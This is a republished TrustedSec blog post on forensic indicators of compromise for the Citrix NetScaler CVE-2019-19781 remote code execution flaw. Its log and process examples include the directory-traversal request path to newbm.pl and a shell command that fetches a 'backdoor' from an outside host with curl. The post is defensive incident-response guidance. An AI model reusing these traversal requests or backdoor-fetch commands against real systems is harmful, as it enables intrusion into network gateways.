TrustedSec - NetScaler Remote Code Execution Forensics
With the recent Citrix ADC (NetScaler) CVE-2019-19781 Remote Code Execution vulnerability, the TrustedSec Incident Response team has been working closely with our offensive and research teams as they created a working exploit. This has allowed us to create a list of locations and indicators to search for on potentially compromised Citrix ADC hosts.
Based on the exploit designed by TrustedSec, and our analysis of an internally compromised Citrix NetScaler Gateway 12.0 host, the following files and locations may contain evidence of a compromise.
Note: The Citrix ADC/NetScaler Gateway hosts that we have examined are running FreeBSD 8.4. Any FreeBSD-specific forensic information can be used as well.
Vulnerability Information
The vulnerability exploits a directory traversal attack on the /vpn directory provided by NetScaler. By specifying the correct files, remote code execution can be achieved. Note that code will execute as user nobody.
Accessing the Command Prompt
In order to access the FreeBSD command prompt, investigators will have to log in to the NetScaler command prompt (typically via SSH) and run the system command. This should place them at a root command prompt.
We recommend obtaining a disk image of the system when possible. If your gateway is running as a virtual machine, pause it and export all disks.
Log Files
The /var/log directory contains multiple log files for various system activities. The following log files have been found to be useful.
Note: FreeBSD will use gzip compression for many of these logs after they reach a specific size. Therefore, on active systems, you may have to examine the archived .gz versions of the log files as well.
bash.log: This file contains information on commands run through the Bash interpreter, /usr/bin/bash. TrustedSec has found that this file will still contain command executions even if the HISTFILE environment variable has been unset (a common anti-forensics technique).
Search for any suspicious executables such as curl, hostname, uname, or whoami, or commands run by user nobody.
Jan 10 13:35:47 <local7.notice> ns bash[63394]: nobody on /dev/pts/3 shell_command="hostname"
The number within the brackets (63394 in the example above) is the process ID of the process that executed it. Make sure to search for that in order to find additional information on what was executed.
Additionally, TrustedSec has also seen commands executed with the phrase ‘(null) on’ where the username should be. This should also be searched for to find suspicious activity.
root@ns# ps auxd | grep nobody nobody 61092 0.0 0.3 111528 4844 ?? I 12:00PM 0:00.17 | |-- /bin/httpd nobody 63390 0.0 0.0 8320 16 ?? I 1:35PM 0:00.00 | | `-- sh -c uname & curl -o - http://10.1.1.2/backdoor nobody 63393 0.0 0.2 33204 3240 ?? I 1:35PM 0:00.04 | | `-- python (python2.6) nobody 63394 0.0 0.1 8264 1544 3 Is+ 1:35PM 0:00.00 | | `-- bash nobody 64120 0.0 1.2 110496 19708 ?? S 2:00PM 0:00.15 | |-- /bin/httpd nobody 64121 0.0 0.0 105352 0 ?? IW - 0:00.00 | |-- /bin/httpd nobody 64122 0.0 0.0 105352 0 ?? IW - 0:00.00 | |-- /bin/httpd nobody 64123 0.0 0.0 105352 0 ?? IW - 0:00.00 | |-- /bin/httpd nobody 64124 0.0 0.0 105352 0 ?? IW - 0:00.00 | `-- /bin/httpd
Note: The file sh.log contains logs executed from the Bourne shell located at /bin/sh. This may also include useful data.
Notice.log: The notice.log file contains all Notice severity level messages from the system. Many commands, such as the Bash commands in bash.log, are logged with the Notice severity level, which will also be in this location.
Search for any suspicious executables such as curl, hostname, uname, or whoami, or commands run by user nobody.
httpaccess.log, httperror.log: These two files contain HTTP log messages from the Citrix server. Since the attack occurs over the web interface, these files will contain the IP addresses of the attacking systems.
Look for any HTTP log messages that contain directory traversal attacks with /vpn. Note that seeing a POST followed by a GET to an XML file is a great indicator for a successful attack. We have also seen successful executions with a direct request logged to /vpns without the xml specified.
10.1.1.1 - - [10/Jan/2020:13:23:51 +0000] "POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1" 200 143 "https://10.1.1.2/" "USERAGENT " 10.1.1.1 - - [10/Jan/2020:13:23:53 +0000] "GET /vpn/../vpns/portal/backdoor.xml HTTP/1.1" 200 941 "-" "USERAGENT" 10.1.1.1 - - [10/Jan/2020:16:12:31 +0000] "POST /vpns/portal/scripts/newbm.pl HTTP/1.1" 200 143 "https://10.1.1.2/" "USERAGENT"
File Locations
There are a few locations in which backdoors may initially be placed on the system after it is exploited. Search the following directories for unusual files:
- • /netscaler/portal/templates
- • /var/tmp/netscaler/portal/templates
Running Processes
Since the web server runs as user nobody, any initial commands (before escalation) will also run as user nobody. Therefore, you can search running processes for those owned by user nobody. From our analysis so far, few things outside of /bin/httpd should be running. Any processes running as a child of httpd, as shown below, should be investigated as suspicious .
nobody 61092 0.0 0.3 111528 4844 ?? I 12:00PM 0:00.17 | |– /bin/httpd
nobody 63390 0.0 0.0 8320 16 ?? I 1:35PM 0:00.00 | | `– sh -c uname & curl -o – https://ift.tt/2NbMngA
nobody 63393 0.0 0.2 33204 3240 ?? I 1:35PM 0:00.04 | | `– python (python2.6)
nobody 63394 0.0 0.1 8264 1544 3 Is+ 1:35PM 0:00.00 | | `– bash
nobody 64120 0.0 1.2 110496 19708 ?? S 2:00PM 0:00.15 | |– /bin/httpd
nobody 64121 0.0 0.0 105352 0 ?? IW – 0:00.00 | |– /bin/httpd
nobody 64122 0.0 0.0 105352 0 ?? IW – 0:00.00 | |– /bin/httpd
nobody 64123 0.0 0.0 105352 0 ?? IW – 0:00.00 | |– /bin/httpd
nobody 64124 0.0 0.0 105352 0 ?? IW – 0:00.00 | `– /bin/httpd
Since FreeBSD uses a procfs virtual file system that contains information on processes, investigators can go into /proc/<PID> and possibly obtain additional information on running processes.
Additionally, running the lsof program (lsof -p <PID>) on the process ID of suspicious programs may also give information and clues.
Prevention
To prevent this vulnerability from being exploited, we recommend following the mitigation steps published by Citrix:
https://support.citrix.com/article/CTX267679
References
https://nvd.nist.gov/vuln/detail/CVE-2019-19781#vulnCurrentDescriptionTitle
The post NetScaler Remote Code Execution Forensics appeared first on TrustedSec.
from TrustedSec https://www.trustedsec.com/blog/netscaler-remote-code-execution-forensics/
Comments
Post a Comment